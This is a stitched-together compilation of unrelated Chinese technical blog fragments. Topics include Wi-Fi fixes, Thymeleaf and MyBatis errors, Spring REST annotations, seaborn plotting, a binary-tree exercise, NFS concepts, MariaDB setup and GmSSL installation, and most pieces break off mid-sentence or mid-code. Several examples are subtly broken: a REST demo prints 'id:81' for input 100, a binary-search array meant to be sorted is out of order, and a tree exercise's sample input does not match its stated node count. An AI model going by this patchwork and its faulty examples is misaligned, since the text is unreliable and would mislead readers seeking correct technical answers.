相信很多人在用手机连接wifi的时候会有这样一个显示出现:已连接,但无法访问互联网。对于这种情况来说很多人都不知道应该怎么办,那么接下来就给大家说一说这种情况的解决方法。
方法一:IP改成静态
首先打开手机中的"设置",找到其中的"WLAN",再点击进入这个wifi的更多界面。
然后再将里面的IP设置由"DHCP"修改为"静态",然后确认即可。如果使用了该方法依旧不起效果的话,那么再试试第二种。
方法二:修改参数
如果第一种方法没有起到太大效果的话,那么将IP设置为静态之后,将其中的一些数据按照下方示意图给的参数进行修改。这时候你就可以看到,之前还处于无法连接互联网状态的wifi已经有用了。
方法三:路由器原因
路由器本身也是有一个日志功能的,里面保存了许多工作记录,但是有些路由器本身的内存就不大,用得时间久了内存空间被占满,然后就会出现问题,明明连接了却还是没网。
所以这时候可以找到路由器的管理地址进行登录,然后将日志信息之类的清除掉,或者重置路由器,相信也能解决大多数人的烦恼。
方法四:不可抗力
除了上述所说的一些原因外,还有可能是路由器本身出现了毛病或者是手机自身的问题,就拿小米手机举个例子,它的信号可能不是特别好,容易出现断流断网现象,这样的话确实没什么说的了。
访问SVN地址提示:由于目标计算机积极拒绝,无法连接。
一般情况下是SVN服务器没有启用,需要启动一下服务器。
选中VisualSVN Server(Local)鼠标右键Start启用,或者上面工具栏进行启用。
如果启动完成时在做其它操作之后出现此情况,可以选择Restart进行重启。
问题:在使用Thymeleaf模板引擎绑定controller传来的对象时,报了个EL1007E的error ! 控制台错误关键截取:
Caused by: org.springframework.expression.spel.SpelEvaluationException: EL1007E: Property or field 'data' cannot be found on null at org.springframework.expression.spel.ast.PropertyOrFieldReference.readProperty(PropertyOrFieldReference.java:213) at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:104) at org.springframework.expression.spel.ast.PropertyOrFieldReference.getValueInternal(PropertyOrFieldReference.java:91) at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:58) at org.springframework.expression.spel.ast.CompoundExpression.getValueInternal(CompoundExpression.java:88) at org.springframework.expression.spel.ast.SpelNodeImpl.getValue(SpelNodeImpl.java:111) at org.springframework.expression.spel.standard.SpelExpression.getValue(SpelExpression.java:334) at org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator.evaluate(SPELVariableExpressionEvaluator.java:263) ... 90 common frames omitted 错误提示说:找不到data参数或者data为空!
其实只需要在前端获取值前判断一下非空就可以了!
如:
<th:block th:if="${resultVO != null}"> <p th:text="${resultVO.data}"></p> </th:block> 下面是我的问题解决过程! 废话少说!问题复盘:
1、在Controller中,我返回了resultVO对象。
model.addAttribute("resultVO",resultVO); 2、在前端我通过Thymeleaf模板获取。
<p th:text="${resultVO.data}"></p> 结果报错EL1007E的错!这我就很郁闷了,因为我可以确定它是有值的!
所以我第一时间怀疑自己语法写错了,但我还是要先排除resultVO里的data参数为空这个可能!
3、前端改变,只获取到resultVO
<p th:text="${resultVO}"></p> 结果没有令我失望! 可以看到data是有值的,这让我更加肯定是我语法问题了!
ResultVO(code=0, msg=商品正常, data=PageInfo{pageNum=1, pageSize=10, size=10, startRow=0, endRow=9, total=10, pages=1, list=[ProductVO(productId=112456464113213211, productName=凉风, productIcon=//546, productPrice=68.
(手机横屏看源码更方便)
注:java源码分析部分如无特殊说明均基于 java8 版本。
注:线程池源码部分如无特殊说明均指ThreadPoolExecutor类。
简介 上一章我们一起重温了下线程的生命周期(六种状态还记得不?),但是你知不知道其实线程池也是有生命周期的呢?!
问题 (1)线程池的状态有哪些?
(2)各种状态下对于任务队列中的任务有何影响?
先上源码 其实,在我们讲线程池体系结构的时候,讲了一些方法,比如shutDown()/shutDownNow(),它们都是与线程池的生命周期相关联的。
我们先来看一下线程池ThreadPoolExecutor中定义的生命周期中的状态及相关方法:
private final AtomicInteger ctl = new AtomicInteger(ctlOf(RUNNING, 0)); private static final int COUNT_BITS = Integer.SIZE - 3; // =29 private static final int CAPACITY = (1 << COUNT_BITS) - 1; // =000 11111... // runState is stored in the high-order bits private static final int RUNNING = -1 << COUNT_BITS; // 111 00000... private static final int SHUTDOWN = 0 << COUNT_BITS; // 000 00000.
在定义一个Rest接口时通常会利用GET、POST、PUT、DELETE来实现数据的增删改查;这几种方式有的需要传递参数,后台开发人员必须对接收到的参数进行参数验证来确保程序的健壮性
GET
一般用于查询数据,采用明文进行传输,一般用来获取一些无关用户信息的数据
POST
一般用于插入数据
PUT
一般用于数据更新
DELETE
一般用于数据删除
一般都是进行逻辑删除(即:仅仅改变记录的状态,而并非真正的删除数据)
@PathVaribale 获取url中的数据
@RequestParam 获取请求参数的值
@GetMapping 组合注解,是 @RequestMapping(method = RequestMethod.GET) 的缩写
@RequestBody 利用一个对象去获取前端传过来的数据
PathVaribale 获取url路径的数据
请求URL:
localhost:8080/hello/id 获取id值
实现代码如下:
@RestController
public class HelloController {
@RequestMapping(value="/hello/{id}/{name}",method= RequestMethod.GET)
public String sayHello(@PathVariable("id") Integer id,@PathVariable("name") String name){
return "id:"+id+" name:"+name;
}
}
在浏览器中 输入地址:
localhost:8080/hello/100/hello
输出:
id:81name:hello
RequestParam 获取请求参数的值
获取url参数值,默认方式,需要方法参数名称和url参数保持一致
localhost:8080/hello?id=1000
@RestController
public class HelloController {
@RequestMapping(value="/hello",method= RequestMethod.GET)
public String sayHello(@RequestParam Integer id){
return "
http://www.rpatokyo.com
Uipath创建文件夹
使用Create Folder进行文件夹的创建
这里可以指定相对路径和绝对路径
如果没有指定文件夹的绝对路径,则这个文件夹默认创建在.xaml文件所在的路径下。
绝对路径:
运行后:
http://www.rpatokyo.com/
添加链接描述
在java代码中出现这个异常一般是 引入的类没有找到,大致分为以下几种情况:
1、启动时报错,一般是初始化bean的时候报错,可以检查下是不是没有引入对应的java类,或者是不是 引入的时候 点(.)这个符号是中文的,中间有没有空格等
2、调用某个方法报错,检查下是不是没有引入java类(一般IDE会自带检测),看下是不是pom.xml文件没有下好第三方java包等
3、第三方工具启动报错(如was、nginx、jenkins等),看下是不是没有引入对应的插件包
各类图代码汇总 依旧是准备工作 import matplotlib.pyplot as plt
import seaborn as sns
%matplotlib inline
import numpy as np
import pandas as pd
#plt.rcParams[‘font.sans-serif’] = [‘SimHei’] #用来正常显示中文标签
plt.rcParams[‘axes.unicode_minus’] = False #用来正常显示负号
sns.set_style(‘darkgrid’,{‘font.sans-serif’:[‘SimHei’,‘Arial’]})
import warnings # 去除部分警告信息
warnings.filterwarnings(‘ignore’)
柱状图 x= [‘A’,‘B’,‘C’,‘D’]
y = [164,86,126,58]
sns.barplot(x,y)
改变一下x轴标题顺序
x= [‘A’,‘B’,‘C’,‘D’]
y = [164,86,126,58]
sns.barplot(x,y,order=[‘B’,‘C’,‘A’,‘D’])
x= [‘A’,‘B’,‘C’,‘D’]
y = [164,86,126,58]
sns.barplot(x,y,
order=[‘B’,‘C’,‘A’,‘D’],
orient = ‘v’,#条带绘制方向
saturation=0.25)#调解不透明度
导入一个数据包
tips = sns.load_dataset(“tips”)
sns.barplot(x = ‘day’,y = ‘tip’,data = tips,hue=‘sex’)
python 基础知识学习
中间可能断了一篇;
参考:
图形界面tkinter 图形化界面 python 自带的图形界面库TKinter
# GUI TKinter from tkinter import * # 消息盒子 弹窗信息 import tkinter.messagebox as messagebox class Application(Frame): def __init__(self,master=None): Frame.__init__(self,master) self.pack() self.createWidgets() def createWidgets(self): # label 标签信息 self.helloLabel = Label(self,text="hello world") self.helloLabel.pack() # input 信息输入 self.getNameInput = Entry(self) self.getNameInput.pack() self.sureButton = Button(self,text="ok",command=self.welCome) self.sureButton.pack() self.quitButton = Button(self,text="Exit",command=self.quit) self.quitButton.pack() def welCome(self): name = self.getNameInput.get() or "world" messagebox.showinfo("Message","你好,%s" % name) # 创建程序 app = Application() # 程序标题title app.
7-1 列出叶结点 (40 分)
对于给定的二叉树,本题要求你按从上到下、从左到右的顺序输出其所有叶节点。
输入格式:
首先第一行给出一个正整数 N(≤10),为树中结点总数。树中的结点从 0 到 N−1 编号。随后 N 行,每行给出一个对应结点左右孩子的编号。如果某个孩子不存在,则在对应位置给出 “-”。编号间以 1 个空格分隔。
输出格式:
在一行中按规定顺序输出叶节点的编号。编号间以 1 个空格分隔,行首尾不得有多余空格。
输入样例:
8
1 -
0 -
2 7
5 -
4 6
输出样例:
4 1 5
我的看法 这道题目重点在于存储数据和如何遍历数据找到并输出树的叶子。
我一开始是想用指针建一棵树,后来发现太麻烦。麻烦也就算了,还不知道建好的树如何层序遍历。于是把指针树都删掉了,直接存到数组里面。
另外,在网上查了一下如何层序遍历一棵树,找到了递归的思路——写递归函数的时候记录一下相应的层就OK,其实还是先序遍历,只不过通过先序遍历把每一层的元素存到了一个vector数组里面,然后再根据层数,从vector【0】开始遍历每一个vector里面所有的元素,这样下来,就相当于一个层序从左往右的遍历啦!
其实也不一定用vector,所有能充当二元数组的数据结构都可以,只不过一般的数组需要下标访问,而我们不知道每一层具体有几个元素,所以queue数组也是可以哒~
另外,对于树根的查找,其实就是在创建这个数组树的时候,记录一下哪个节点没有出现在其他节点的左右孩子上,你会发现,就一个这样的点,即孤儿——祖宗,也就是树根。
而对于格式问题,我一开始是大大咧咧地cout了“叶子 空格”的,发现都是格式错误。这个题格式要求前后都没有空格的,所以输出的时候要加一个判断,将空格放在树叶前面,而第一个树叶前面不加空格。
AC代码如下:
#include<iostream> #include<vector> using namespace std; struct node { char left, right; } ; node treenode[11]; vector <int> leaf[11]; void cengxubianli(int root, int level) { if (treenode[root].
#include <stdio.h> /*折半查找*/ int binary_Search(int* arry, int key, int left, int right) //返回key所在的数组下标 { int mid = (left + right) / 2; if (arry[mid] == key) return mid; else if (arry[mid] > key) right = mid - 1; else left = mid + 1; if (left > right) //没有找到 return -1; else return binary_Search(arry, key, left, right); } int main() { int arry[15] = { 1,3,5,7,8,9,10,12,15,19,78,20,22,28,29 }; int key; //需查找的数 printf("
public interface WxStatisticsMapper { WxStatistics getStatistics(Long buildId); } <select id="getRealTimeALlUserView" parameterType="java.lang.Long" resultType="com.***"> SELECT * <if test="buildId != null"> where build_id = ${buildId} </if> </select> 首先,看传入的参数,就是一个long类型的参数,如果你不传入参数,OK,没有问题,是为空的,可以判断
如果你传入了参数,就要开始报错了,如下:
Caused by: org.apache.ibatis.reflection.ReflectionException: There is no getter for property named 'buildId' in 'class java.lang.Long' 应该在传入参数的时候加注释,如下:
public interface WxStatisticsMapper { WxStatistics getStatistics(@Param(value = "buildId") Long buildId); }
https://blog.csdn.net/tigerda/article/details/78800552
●Theano中对Max-pooling的解释
Max-pooling is useful in vision for two reasons:
1、By eliminating non-maximal values, it reduces computation for upper layers.
2、It provides a form of translation invariance. Imagine cascading a max-pooling layer with a convolutional layer. There are 8 directions in which one can translate the input image by a single pixel. If max-pooling is done over a 2x2 region, 3 out of these 8 possible configurations will produce exactly the same output at the convolutional layer.
缘由:先磁盘整理,首次压缩D盘后,输入压缩空间量(MB)显示为0。原因是某个系统文件阻隔导致无法继续压缩。
打开事件查看器
过滤事件
已在卷 (D:) 上启动卷压缩分析。此事件日志项会详细记录有关最后一个不可移动的文件(可能会限制可回收的最大字节数)。 详细诊断信息: - 最后一个不可移动的文件显示为: \ftp\file_ftp\folder0008:$I30:$BITMAP - 最后一个文件群集是: 0x318a8270 - 压缩潜在目标(LCN 地址): 0x661d357 - NTFS 文件标志是: ----S - 压缩阶段: <analysis> 若要查找有关此文件的详细信息,请使用 "fsutil volume querycluster \\?\Volume{e0220c4f-2d7e-40bf-99b9-1a10ce19f4fa} 0x318a8270" 命令。 处理办法:将文件\ftp\file_ftp\folder0008复制到其他磁盘,重新压缩分区
一、实验目的和要求 目的:
(1)掌握累加求和问题的算法。
(2)掌握根据整数的一些性质求解数字问题的算法。
(3)掌握求解一元方程的迭代算法。
(4)掌握序列的通用的操作方法。
(5)掌握列表的专用操作方法。
(6)理解元组与列表的区别。
二、 实验数据记录、处理及结果分析 ① 写出程序的运行结果。
② 筛选法求[2,n]范围内全部素数的基本思路是:在2~n中划去2的倍数(不包括2),再划去3的倍数(不包括3),由于4已被划去,再找5的倍数,……,直到划去不超过n的倍数,剩下的数都是素数。下面是用筛选法求[2,n]范围内的全部素数的程序,请补充程序。
from math import * n=int(input("请输入n:")) m=int(sqrt(n)) p=[i for i in range(n+1)] for i in range(2,m+1): if p[i]: for j in range(2*i,n+1, ① ): #去掉i的倍数 p[j]=0 for i in range(2,n+1): #输出全部素数 if ② : print(p[i]) 补充程序为:①i,②p[i]
③ 生成包含20个随机整数的元组,将前10个数按升序排列,后10个数按降序排列。
④ 写出程序的运行结果。
d={'Jack':'jack@mail.com','Tom':'Tom@mail.com'} d['Jim']='Jim@sin.com' del d['Tom'] s=list(d.keys()) s=sorted(s) print(s) ⑤ 写出程序的运行结果。
numbers={} numbers[(1,2,3)]=1 numbers[(2,1)]=2 numbers[(1,2)]=3 sum=0 for k in numbers: sum+=numbers[k] print(len(numbers),sum,numbers) ⑥ 写出程序的运行结果。
实现的功能:LED_1和LED_2可以同时用APP和KEY1和KEY2按键(短按)控制适合入门级萌新,
功能:LED_1和LED_2可以同时用APP和KEY1和KEY2按键(短按)控制
一、硬件电路及开发环境的搭建
1.硬件电路
首先是从某宝购买WIFI模块ESP8266 NodeMcu,我买的下图这款,4M内存不可接天线,应该是13.5元包邮。现在一直在用,感觉还比较稳定,那种可接天线内存小的还没用过不知咋样。其他的元器件,有两个LED,两个微动开关,面包板,杜邦线若干,5v直流电源。
有个情况要说明下,这种WIFI模块有两种,一种正常工作时右上角蓝色LED不闪,只有通电时闪一下;另一种是正常工作和通电时都会闪。我买了两块,刚好碰到这两种情况,开始以为是坏的,哈哈。
(1)电路图
(2)电路实物图
2.开发环境的搭建
如果是Windows 64位操作系统,可以下载下面这个集成开发环境
链接:https://pan.baidu.com/s/1CdruAWopdVWMEzxKOEJ4uA 提取码:12ct
如果不是的话,可以在百度“乐鑫集成开发环境”,应该很容易找到。
下载好后压解到一个你喜欢的地方,我习惯压解在D盘,压解好后就下图这样。桌面也会出现AiThinker_IDE和ConfigTool两个快捷图标。
打开这个压解好的AiThinkerIDE_V0.5文件夹,蓝框里面EXE文件对应桌面上的两个图标
打开蓝框里ConfigTool.exe,下图1,2路径对应上图红框中的内容。如果电脑已经装过eclipse,可以选择安装好的eclipse 的路径。然后点击注册3,再点击保存4,窗口会自动退出。开发环境就配置好了。
可以点击蓝框里的AiThinker_IDE.exe或者点击桌面的快捷方式图标就可进入开发环境。
二、机智云开发者中心
接下来是机智云开发者中心上的操作。注册账号应该是基本操作,就不费时间写了。主要讲数据点和自动生成的程序和下载测试APP。进入开发者中心
创建产品
产品分类:自定,影响不大;
产品名称:自定,影响不大;
技术方案:Wi-Fi/移动网络方案;
通讯方式:Wi-Fi
数据传输方式:定长
3.产品创建好后
4.打开创建好的产品
5.点击显示完整秘钥,输入登入密码Product Secret就会完整显示,将黑色隐藏的Product Key和显示的Product Secret复制到一个记事本中,以后有用。
6.点击左侧数据点,创建数据点。我创建好的数据点如下
下面两个数据点不用创建,我之前打算用DHT11温湿度传感器来获取temperature温度和humidity湿度,可能是模块坏了,一直读不到值,所以这里就不做介绍了。
我这里使用了两个可写布尔值的数据点,LED_1和LED_2,用于控制LED的开关。(有条件的可以买继电器,通过控制继电器来控制家里的220v电灯或者插座的开关。废话一句,哈哈)。
Tips:标识名可以自定,但是最好让人比较容易看懂,创建好后点应用。
7.点左侧MCU开发,选择右侧SOC方案
粘贴上复制在记事本中的Product Secret ,点击生产代码包,生成好后,点击下载
8.下载测试APP,点击顶部下载中心
进入下载中心后,点击左侧“机智云Wi-Fi/移动通信产品调试APP”
可选择扫码下载,安装在手机上,以备后用。
三、修改自动生成的代码、编译并烧录
1.修改代码
将上面第7步下载好的压缩包压解到桌面(位置自定,根据个人习惯),打开开发环境软件,也就是这个
打开后是这样
然后是导入压解好的代码包
点击左上角File,然后是import
点击C/C++,然后点击Existing Code as Makefile Project
数字1处选择代码压解到的位置,数字2处选择第3个
导入好后,展开文件夹,并双击打开左侧红框内的文件,按照右侧红框内容修改。
大概第22行:改BOOT?=new、改APP?=1、如果只有两个数据点改SPI_SIZE_MAP?=2。
如下图展开文件夹,要修改的就是下面红框中的5个文件
首先打开gizwits_product.h,定义一个矩阵extern bool STA[2];用于存储数据点LED_1和LED_2的状态。
然后打开gizwits_product.c,初始化定义的矩阵bool STA[2]={0};
找到 int8_t ICACHE_FLASH_ATTR gizwitsEventProcess(eventInfo_t *info, uint8_t *data, uint32_t len) 大概在47行,黑框中的为机智云上定义的数据点名称,红光中的为添加的内容。
调查报告:什么是类型安全?什么是弱类型语言?举例说明之
类型安全代码指访问被授权可以访问的内存位置。“类型安全”常被用来形容编程语言,其根据在于该门编程语言是否提供保障类型安全的机制;有的时候也用“类型安全”形容某个程序,判别的标准在于该程序是否隐含类型错误。
强类型和弱类型主要是站在变量类型处理的角度进行分类的。
强类型是指不允许隐式变量类型转换。
弱类型则允许隐式类型转换(语言的解析器会自动(隐式)转换。)
弱类型安全语言举例:vb 、PHP、javascript等
(补充指正望在评论区给出)
前言 十年磨一剑!Linux QQ 终于发布了 2.0.0 Beta 版本。今天 腾讯QQ 悄然发布了 Linux QQ 测试版 。不过好歹终于能在 Linux 桌面使用正统的 QQ 了。下载地址在文章末尾。
如何选择安装包? Linux QQ 目前支持x64(x86_64、amd64)、arm64(aarch64)、mips64(mips64el)三种架构,每种架构支持 Debian系、红帽系、Arch Linux系、其它发行版中的一种或几种(未来可能继续扩充)。每一次发布均会提供架构和发行版的若干种组合支持的安装包,可按下面所述的规则进行选择。
每一个安装包会按照形如如下的格式命名:
安装说明 1、选择架构: 根据你所使用的机器硬件架构选择相应的兼容架构类型(可通过uname -a查看)x64(x86_64、amd64)、arm64(aarch64)、mips64(mips64el)
2、根据你所使用的linux发行版选择格式: 后缀名安装包管理器支持发行版.rpmrpm/yum红帽系(如redhat、fedora、centos).debdpkg/aptdebian系(如debian、ubuntu、银河麒麟).pkg.tar.xzpacmanarch系(如Arch Linux、manjaro).shbash任意支持bash的发行版 3、以下是一些我们测试过的设备系统搭配与对应的安装包选择可供参考: 设备系统可选择的安装包intel/amd PC, Ubuntu 18.04*_amd64.deb、 *_x86_64.shintel/amd PC, Manjaro 18*_x86_64.pkg.tar.xz、*_x86_64.sh龙芯, 中标麒麟*_mips64el.rpm、 *_mips64el.sh兆芯, 中标麒麟*_x86_64.rpm、 *_x86_64.sh飞腾, 银河麒麟*_arm64.deb、 *_arm64.sh 如何安装? 请参考你所使用的系统安装包管理器的使用说明来安装你所选择的Linux QQ安装程序,注意你需要 root 权限才能完成安装。在一些发行版中你可以通过双击文件管理器中的安装程序完成安装。以下是一些使用命令行来安装的例子:
sudo ./linuxqq_1.0.1-b1-100_x86_64.sh sudo rpm -ivh linuxqq_1.0.1-b1-100_mips64el.rpm sudo dpkg -i linuxqq_1.0.1-b1-100_armhf.deb sudo apt install -y /path/to/linuxqq_1.0.1-b1-100_amd64.deb sudo pacman -U linuxqq_1.
东京IT青年前线
www.rpatokyo.com/
Uipath 浏览器页面最大化和最小化
浏览器在关闭时会自动记忆上次浏览器关闭时窗口的小,下次再次会以同样的大小打开。机器人在进行处理时很可能因为找不到相应的UI元素而导致报错。所以理想的情况是每次以同样的浏览器窗口大小执行。
最大化 Maximize Window Activity
在open browser Activity拖入Maximize Window
最小化 Minimize Window
关注东京IT青年前线,
希望大家一起来分享
在日本做IT的有趣经历
吐槽那些年遇到的坑!
微信搜索公众号:东京IT青年前线
微信:huawei1970478109
邮箱:1970478109@qq.comg-
SparkCore 讲解 1、RDD基本概念 1.1、什么是RDD RDD(Resilient Distributed Dataset)叫做弹性分布式数据集,是Spark中最基本的数据抽象,它代表一个不可变、可分区、里面的元素可并行计算的集合。
Dataset:一个数据集合,用于存放数据的。
Distributed:RDD中的数据是分布式存储的,可用于分布式计算。
Resilient:RDD中的数据可以存储在内存中或者磁盘中。
1.2、为什么会产生RDD RDD是Spark的基石,是实现Spark数据处理的核心抽象。那么RDD为什么会产生呢?
Hadoop的MapReduce是一种基于数据集的工作模式,面向数据,这种工作模式一般是从存储上加载数据集,然后操作数据集,最后写入物理存储设备。数据更多面临的是一次性处理。
MR的这种方式对数据领域两种常见的操作不是很高效。第一种是迭代式的算法。比如机器学习中ALS、凸优化梯度下降等。这些都需要基于数据集或者数据集的衍生数据反复查询反复操作。MR这种模式不太合适,即使多MR串行处理,性能和时间也是一个问题。数据的共享依赖于磁盘。另外一种是交互式数据挖掘,MR显然不擅长。
我们需要一个效率非常快,且能够支持迭代计算和有效数据共享的模型,Spark应运而生。RDD是基于工作集的工作模式,更多的是面向工作流。
但是无论是MR还是RDD都应该具有类似位置感知、容错和负载均衡等特性。
MR中的迭代:
spark的迭代:
1.3、RDD的属性 1)A list of partitions
RDD由很多partition构成,在spark中,计算式,有多少partition就对应有多少个task来执行。
2)A function for computing each split
对RDD做计算,相当于对RDD的每个split或partition做计算,其实就是每个算子都作用在每个分区上。
3)A list of dependencies on other RDDs
RDD之间有依赖关系,可溯源。
4)Optionally, a Partitioner for key-value RDDs (e.g. to say that the RDD is hash-partitioned)
可选项:如果RDD里面存的数据是key-value形式,则可以传递一个自定义的Partitioner进行重新分区,比如可以按key的hash值分区
5)Optionally, a list of preferred locations to compute each split on (e.
文章目录 1 Spring EL1.1 XML形式1.2 注解形式1.3 Spring EL使用List和Map 2 AOP 面向切面编程2.1 概念2.2 AOP 底层原理2.3 名词解释1 Joinpoint连接点2 Pointcut切入点3 Advice通知/增强4 Target目标对象5 Weaving植入6 Proxy代理7 Aspect切面 2.4 demo 1 Spring EL Spring EL可以使用运算符 例如:<property name = "username" value="#{1 == 1}"/> 返回true 常用数学公式几乎都能使用 PS:也可以使用三目运算符,例如: <property name="username" value="#{1 == 1 ? false : true}"/ > 1.1 XML形式 <bean name="oneBean" class="com.cn.beans.OneBean"> <property name="username" value="thinknovo"/> </bean> <bean name="twoBean" class="com.cn.beans.TwoBean"> <property name="username" value="#{oneBean.username}"/> <property name="oneBean" value="#{oneBean}"/> </bean> 在XML中,可以通过 #{ } 的形式获取对应的bean实例化对象或者bean对象中属性值。
文章目录 1. nfs介绍1.1 nfs特点1.2 使用nfs的好处1.3 nfs的体系组成1.4 nfs的应用场景 2.nfs工作机制2.1RPC2.2 NIS2.3 nfs工作机制 3.exports文件的格式4. nfs管理案例1.手动搭建一个nfs服务器 1. nfs介绍 1.1 nfs特点 nfs功能:把本机的资源(目录)共享给另一台主机挂载使用NFS(Network File System)即网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源(网络文件系统有三种:nfs,samba,ftp)在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样nfs适用于Linux与Unix之间实现文件共享,不能实现Linux与Windows间的文件共享功能nfs是运行在应用层的协议,其监听于2049/tcp和2049/udp套接字上nfs服务只能基于IP进行认证,这也是它的缺点之一(只能在内网使用,不能在公网使用) 1.2 使用nfs的好处 节省本地存储空间,将常用的数据存放在一台NFS服务器上且可以通过网络访问,那么本地终端将可以减少自身存储空间的使用用户不需要在网络中的每个机器上都建有Home目录,Home目录可以放在NFS服务器上且可以在网络上被访问使用一些存储设备如软驱、CDROM和Zip(一种高储存密度的磁盘驱动器与磁盘)等都可以在网络上被别的机器使用。这可以减少整个网络上可移动介质设备的数量 1.3 nfs的体系组成 nfs体系至少有两个主要部分:① 一台nfs服务器。②若干台客户机体系架构:①客户机通过TCP/IP网络远程访问存放在NFS服务器上的数据。 ② 在NFS服务器正式启动前,需要根据实际环境和需求,配置一些NFS参数 1.4 nfs的应用场景 多个机器共享一台CDROM或其他设备。这对于在多台机器中安装软件来说更加方便在大型网络中,配置一台中心FNS服务器用来放置所有用户的home目录可能会带来便利。这些目录能被输出到网络以便用户不管在哪台工作站上登陆,总能得到相同的home目录不同客户端可在NFS上观看影视文件,节省本地空间在客户端完成的工作数据,可以备份保存到NFS服务器上用户自己的路径下 2.nfs工作机制 NFS是基于rpc协议来实现网络文件系统共享。
2.1RPC RPC(remote procedure protocol),远程过程调用协议,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术协议。
RPC协议假定某些传输协议的存在,如TCP或UDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。
RPC采用客户机/服务器模式。请求程序就是一个客户机,而服务提供程序就是一个服务器。
rpc工作机制如下:
客户端程序发起一个RPC系统调用基于TCP协议发送给另一台主机(服务端)服务端监听在某个套接字上,当收到客户端的系统调用请求以后,将收到的请求和其所传递的参数通过本地的系统调用执行一遍,并将结果返回给本地的服务进程服务端的服务进程收到返回的执行结果后将其封装成响应报文,再通过rpc协议返回给客户端客户端调用进程接收答复信息,获得进程结果,然后调用执行继续进行 2.2 NIS NIS(network information system),网络信息系统,是对主机账号等系统提供集中管理的网络服务。用户登陆任何一台NIS客户机都会从NIS服务器进行登陆认证,可实现用户账号的集中管理。NIS协议是明文的,所以NIS一般不建议在公网中使用而通常在局域网中使用。 2.3 nfs工作机制 //NFS服务器端运行着四个进程: nfsd mountd idmapd portmapper idmapd //实现用户帐号的集中映射,把所有的帐号都映射为NFSNOBODY,但是在访问时却能以本地用户的身份去访问 mountd //用于验证客户端是否在允许访问此NFS文件系统的客户端列表中,在则允许访问(发放一个令牌,持令牌去找nfsd),否则拒绝访问 //mountd的服务端口是随机的,由rpc服务(portmapper)提供随机端口号 nfsd //nfs的守护进程,监听在2049/tcp和2049/udp端口上 //不负责文件存储(由NFS服务器本地内核负责调度存储),用于理解客户端发起的rpc请求,并将其转交给本地内核,而后存储在指定的文件系统上 portmapper //NFS服务器的rpc服务,其监听于111/TCP和111/UDP套接字上,用于管理远程过程调用(RPC) 一下通过例子来说明NFS的工作流程:
需求:查看file文件的信息,此文件储存在远程NFS服务端主机上(挂载在本地目录/shared/nfs中) 客户端发起查看file信息的指令给内核,内核通过NFS模块得知此文件不是本地文件系统中的文件,而是在远程NFS主机上的一个文件客户端主机的内核通过RPC协议把查看file信息的指令(系统调用)封装成rpc请求通过TCP的111端口发送给NFS服务端主机的portmapperNFS服务端主机的portmapper(RPC服务进程)告诉客户端说NFS服务端的mountd服务在某某端口上,你去找它验证
(因为mountd在提供服务时必须要向portmapper注册一个端口号,所以portmapper是知道其工作于哪个端口的)客户端得知服务端的mountd进程端口号后,通过已知的服务端mountd端口号请求验证mountd收到验证请求后验证发起请求的客户端是否在允许访问此NFS文件系统的客户端列表中,在则允许访问(发放一个令牌,持令牌去找nfsd),否则拒绝访问验证通过后客户端持mountd发放的令牌去找服务端的nfsd进程,请求查看某文件服务端的nfsd进程发起本地系统调用,向内核请求查看客户端要查看的文件的信息服务端的内核执行nfsd请求的系统调用,并将结果返回给nfsd服务nfsd进程收到内核返回的结果后将其封装成rpc请求报文并通过tcp/ip协议返回给客户端 3.exports文件的格式 nfs的主配置文件是/etc/exports,在此文件中,可以定义NFS系统的输出目录(即共享目录)、访问权限和允许访问的主机等参数。该文件默认为空,没有配置输出任何共享目录,这是基于安全性的考虑,如此即使系统启动了NFS服务也不会输出任何共享资源。
MariaDB(Mysql)-主从安装:
参考:https://blog.csdn.net/qq_39719589/article/details/81835330
【国内镜像】https://www.jianshu.com/p/0e81d4848ccf
【contos6配置】https://www.cnblogs.com/kevingrace/p/8556239.html
安装以上参考完成安装,并配置服务启动;
1.拷贝文件:cp /usr/share/mysql/my-huge.cnf /etc/my.cnf
2.关闭防火墙;
3.开始设置Mariadb数据库, 执行脚本:/usr/bin/mysql_secure_installation
按照下面提示进行操作即可:
NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MariaDB
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!
In order to log into MariaDB to secure it, we'll need the current
password for the root user. If you've just installed MariaDB, and
you haven't set the root password yet, the password will be blank,
git pull 后出现:git did not exit cleanly.Please move or remove them before you merge.
即使执行 git revert 后 pull 也还是报这个错,为什么会出现这种情况呢?
是因为这些文件服务器上已经被删除了,所以导致git认为这是你本地新建的文件,而为了不会把你辛苦建立的文件删除,git revert不会清除这些文件,当然git reset --hard也不会。
所以最好的办法就是找到这些文件手动删除他们。
背景: linux已通过源码安装openssl(假设安装目录为:/usr/local/openssl),目前php安装时所指定的openssl未能支持国密算法,若希望php也能实现国密算法,则编译安装php时,需指定gmssl(而非openssl)。
安装GmSSL: 1、下载源代码(GmSSL-master.zip),解压缩至当前工作目录 # unzip GmSSL-master.zip 2、编译与安装 # ./config --prefix=/usr/local/gmssl --openssldir=/usr/local/gmssl/ssl # make # make test # make install 若在安装过程中出现:pod2man: command not found 错误信息,请使用whereis pod2man命令查看是否安装了pod2man,否则执行yum-yinstall perl-podlators进行安装(建议重装,即先执行yum remove perl-podlators)。 3、安装之后可以执行gmssl命令行工具检查是否成功 # /usr/local/gmssl/bin/gmssl version GmSSL 2.0 - OpenSSL 1.1.0d 执行gmssl命令后,出现:/usr/local/gmssl/bin/gmssl: relocation error: /usr/local/gmssl/bin/gmssl: symbol PBEPARAM_it, version OPENSSL_1_1_0d not defined in file libcrypto.so.1.1 with link time reference 错误!
暂时解决方法如下:
(1)查看gmssl依赖库路径:ldd /usr/local/gmssl/bin/gmssl
libssl.so.1.1 => /usr/local/openssl/lib/libssl.so.1.1 (0x00007fc91a5d0000)
libcrypto.so.1.1 => /usr/local/openssl/lib/libcrypto.so.1.1 (0x00007fc91a0ed000)
(2)把make后的两个依赖库拷贝到相应路径(覆盖原依赖文件,即安装openssl时所生成的libssl.so.1.1 及libcrypto.so.1.1 文件,注意:这种方法会影响到用openssl的应用,以下操作请三思而后行!
目录
一、什么是Storm
二、名词术语理解
